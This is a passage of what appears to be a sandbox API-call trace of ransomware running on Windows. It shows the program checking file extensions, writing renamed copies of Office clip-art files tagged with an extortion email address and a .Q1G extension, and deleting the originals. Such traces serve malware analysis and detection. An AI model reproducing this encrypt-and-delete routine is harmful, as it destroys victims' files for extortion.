lpString2="GIF") returned -1 [0055.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.048] lstrlenW (lpString=".dbf") returned 4 [0055.048] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.048] lstrlenW (lpString=".1cd") returned 4 [0055.048] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.048] lstrlenW (lpString=".jpg") returned 4 [0055.048] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.048] lstrlenW (lpString=".doc") returned 4 [0055.048] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.048] lstrlenW (lpString=".docx") returned 5 [0055.048] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.048] lstrlenW (lpString=".pdf") returned 4 [0055.048] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.048] lstrlenW (lpString=".xls") returned 4 [0055.048] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.048] lstrlenW (lpString=".xlsx") returned 5 [0055.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.048] lstrlenW (lpString=".ppt") returned 4 [0055.048] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.048] lstrlenW (lpString=".zip") returned 4 [0055.048] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.048] lstrlenW (lpString=".rar") returned 4 [0055.048] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.048] lstrlenW (lpString=".bz2") returned 4 [0055.049] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.049] lstrlenW (lpString=".7z") returned 3 [0055.049] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.049] lstrlenW (lpString=".dbf") returned 4 [0055.049] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.049] lstrlenW (lpString=".1cd") returned 4 [0055.049] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0055.049] lstrlenW (lpString=".jpg") returned 4 [0055.049] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.049] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.049] lstrlenW (lpString="AG00171_.GIF") returned 12 [0055.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.049] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5016) returned 1 [0055.049] CloseHandle (hObject=0x238) returned 1 [0055.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0055.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.050] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.050] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0055.050] GetLastError () returned 0x0 [0055.050] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x1398, lpOverlapped=0x0) returned 1 [0055.051] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0055.053] ReadFile (in: hFile=0x238, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.053] WriteFile (in: hFile=0x240, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.053] SetEndOfFile (hFile=0x240) returned 1 [0055.053] CloseHandle (hObject=0x240) returned 1 [0055.053] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.053] SetEndOfFile (hFile=0x238) returned 1 [0055.054] CloseHandle (hObject=0x238) returned 1 [0055.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0055.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.055] lstrlenW (lpString=".doc") returned 4 [0055.055] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.055] lstrlenW (lpString=".docx") returned 5 [0055.055] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.055] lstrlenW (lpString=".pdf") returned 4 [0055.055] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.055] lstrlenW (lpString=".xls") returned 4 [0055.055] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.055] lstrlenW (lpString=".xlsx") returned 5 [0055.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.055] lstrlenW (lpString=".ppt") returned 4 [0055.055] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.055] lstrlenW (lpString=".zip") returned 4 [0055.056] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.056] lstrlenW (lpString=".rar") returned 4 [0055.056] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.056] lstrlenW (lpString=".bz2") returned 4 [0055.056] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.056] lstrlenW (lpString=".7z") returned 3 [0055.056] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.056] lstrlenW (lpString=".dbf") returned 4 [0055.056] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.056] lstrlenW (lpString=".1cd") returned 4 [0055.056] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.056] lstrlenW (lpString=".jpg") returned 4 [0055.056] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.056] lstrlenW (lpString=".doc") returned 4 [0055.056] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.056] lstrlenW (lpString=".docx") returned 5 [0055.056] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.056] lstrlenW (lpString=".pdf") returned 4 [0055.056] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.056] lstrlenW (lpString=".xls") returned 4 [0055.056] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.056] lstrlenW (lpString=".xlsx") returned 5 [0055.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.056] lstrlenW (lpString=".ppt") returned 4 [0055.056] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.057] lstrlenW (lpString=".zip") returned 4 [0055.057] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.057] lstrlenW (lpString=".rar") returned 4 [0055.057] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.057] lstrlenW (lpString=".bz2") returned 4 [0055.057] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.057] lstrlenW (lpString=".7z") returned 3 [0055.057] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.057] lstrlenW (lpString=".dbf") returned 4 [0055.057] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.057] lstrlenW (lpString=".1cd") returned 4 [0055.057] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0055.057] lstrlenW (lpString=".jpg") returned 4 [0055.057] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.057] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.057] lstrlenW (lpString="AG00172_.GIF") returned 12 [0055.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.185] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=4390) returned 1 [0055.185] CloseHandle (hObject=0x1d0) returned 1 [0055.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0055.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.186] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.186] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.186] GetLastError () returned 0x0 [0055.186] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x1126, lpOverlapped=0x0) returned 1 [0055.188] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0055.188] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.188] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.189] SetEndOfFile (hFile=0x214) returned 1 [0055.189] CloseHandle (hObject=0x214) returned 1 [0055.189] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.189] SetEndOfFile (hFile=0x1d0) returned 1 [0055.190] CloseHandle (hObject=0x1d0) returned 1 [0055.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0055.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.190] lstrlenW (lpString=".doc") returned 4 [0055.190] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.190] lstrlenW (lpString=".docx") returned 5 [0055.190] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.190] lstrlenW (lpString=".pdf") returned 4 [0055.190] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.190] lstrlenW (lpString=".xls") returned 4 [0055.190] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.190] lstrlenW (lpString=".xlsx") returned 5 [0055.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.190] lstrlenW (lpString=".ppt") returned 4 [0055.190] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.190] lstrlenW (lpString=".zip") returned 4 [0055.191] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.191] lstrlenW (lpString=".rar") returned 4 [0055.191] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.191] lstrlenW (lpString=".bz2") returned 4 [0055.191] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.191] lstrlenW (lpString=".7z") returned 3 [0055.191] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.191] lstrlenW (lpString=".dbf") returned 4 [0055.191] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.191] lstrlenW (lpString=".1cd") returned 4 [0055.191] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.191] lstrlenW (lpString=".jpg") returned 4 [0055.191] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.191] lstrlenW (lpString=".doc") returned 4 [0055.191] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.191] lstrlenW (lpString=".docx") returned 5 [0055.191] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.191] lstrlenW (lpString=".pdf") returned 4 [0055.191] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.191] lstrlenW (lpString=".xls") returned 4 [0055.191] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.191] lstrlenW (lpString=".xlsx") returned 5 [0055.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.191] lstrlenW (lpString=".ppt") returned 4 [0055.191] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.191] lstrlenW (lpString=".zip") returned 4 [0055.191] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.192] lstrlenW (lpString=".rar") returned 4 [0055.192] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.192] lstrlenW (lpString=".bz2") returned 4 [0055.192] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.192] lstrlenW (lpString=".7z") returned 3 [0055.192] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.192] lstrlenW (lpString=".dbf") returned 4 [0055.192] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.192] lstrlenW (lpString=".1cd") returned 4 [0055.192] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0055.192] lstrlenW (lpString=".jpg") returned 4 [0055.192] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.192] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.192] lstrlenW (lpString="AN00853_.WMF") returned 12 [0055.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.192] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=20578) returned 1 [0055.192] CloseHandle (hObject=0x1d0) returned 1 [0055.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0055.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.193] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.193] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.194] GetLastError () returned 0x0 [0055.194] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x5062, lpOverlapped=0x0) returned 1 [0055.195] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0055.196] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.197] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.197] SetEndOfFile (hFile=0x214) returned 1 [0055.197] CloseHandle (hObject=0x214) returned 1 [0055.197] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.197] SetEndOfFile (hFile=0x1d0) returned 1 [0055.198] CloseHandle (hObject=0x1d0) returned 1 [0055.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.198] lstrlenW (lpString=".doc") returned 4 [0055.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString=".docx") returned 5 [0055.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.198] lstrlenW (lpString=".pdf") returned 4 [0055.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.198] lstrlenW (lpString=".xls") returned 4 [0055.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.198] lstrlenW (lpString=".xlsx") returned 5 [0055.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.199] lstrlenW (lpString=".ppt") returned 4 [0055.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.199] lstrlenW (lpString=".zip") returned 4 [0055.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.199] lstrlenW (lpString=".rar") returned 4 [0055.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString=".bz2") returned 4 [0055.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString=".7z") returned 3 [0055.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.199] lstrlenW (lpString=".dbf") returned 4 [0055.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.199] lstrlenW (lpString=".1cd") returned 4 [0055.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.199] lstrlenW (lpString=".jpg") returned 4 [0055.199] lstrcmpiW (lpString1=".jpg", 